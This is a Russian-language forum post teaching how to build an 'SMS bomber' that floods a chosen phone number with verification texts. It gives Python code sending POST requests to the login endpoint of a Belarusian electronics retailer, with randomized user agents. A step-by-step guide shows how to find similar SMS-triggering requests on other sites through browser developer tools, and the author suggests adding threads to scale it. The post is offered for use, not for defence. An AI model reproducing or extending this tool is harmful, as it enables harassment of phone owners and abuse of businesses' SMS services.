Показать сообщение отдельно

  #1  
Старый 25.06.2022, 01:56
munnniisss
Участник форума
Регистрация: 23.12.2019
Сообщений: 155
С нами: 3363619

Репутация: 33
По умолчанию

всем привет. конечно были похожие статьи, но нигде не показывали, как правильно искать запросы для бомберов. поэтому покажу простую реализацию бомбера и поиск запросов к нему

начнём с кода

Цитата:
Сообщение от Спойлер  


код ля-ля:





Код:
import
requests
# Импорт библиотеки для отправки POST запросов
from
fake_useragent
import
UserAgent
# Импорт библиотеки для создания рандомных headers запроса
ua
=
UserAgent
(
)
header_result
=
{
'user_agent'
:
ua
.
random
}
# Создаём рандомный header для POST запроса
phone
=
input
(
'[TYPE] Введите номер телефона -> '
)
# Получаем номер телефона для спама на него
# Самый обычный обработчик ошибок
try
:
requests
.
post
(
'https://5element.by/user/login'
,
data
=
{
'login'
:
f'{phone[1:]}'
,
'type'
:
'send_code'
}
,
headers
=
header_result
)
# Отправляем POST запрос на ссылку с отправкой СМСки, предварительно обрезав номер как требует сервис и заполнив data
except
:
pass


p.s я показал лишь скелетик бомбера, дорабатывать и совершенствовать его можете сами

теперь на примере сервиса из кода выше, покажу как искать запросы для бомберов

Цитата:
Сообщение от Спойлер  

1. находим сервис, где допустим логин с помощью смс, или любые другие процедуры, которые ведут к отправке смс. мой пример - сеть электроники в Беларуси «5 элемент»

2. когда нашли такой сервис, находим форму куда требуется вводить номер. нажимаем F12, находим раздел Network



3. когда готовы к отлову запроса, нажимаем «Получить код»

сразу не пугаемся, когда видим множество запросов. обычно нужные нам называются по типу login, sendcode, auth и в том духе



4. открываем нужный нам запросик, в моём случае это третий с конца запрос



отсюда копируем его ссылку и запоминаем метод (может быть POST или GET, в подавляющем большинстве - это POST)

5. заходим в payload и копируем данные, что будут передаваться в data



data оформляем в виде словаря, как выше в примере. если брать данный пример для единичного смс, то будет выглядеть так

код:





Код:
data
=
{
'login'
:
'375332232332'
,
'type'
:
'send_code'
}


6. вот и мы собрали первый свой запрос, который оформим как в примере выше и можем запускать
дальше лишь дело вашей фантазии, как развивать данный набросок смс бомбера (можно прикрутить потоки, добавить проверку номера, всё что душе угодно)

если есть вопросы/критика - смело пишите в данную темку
 
Ответить с цитированием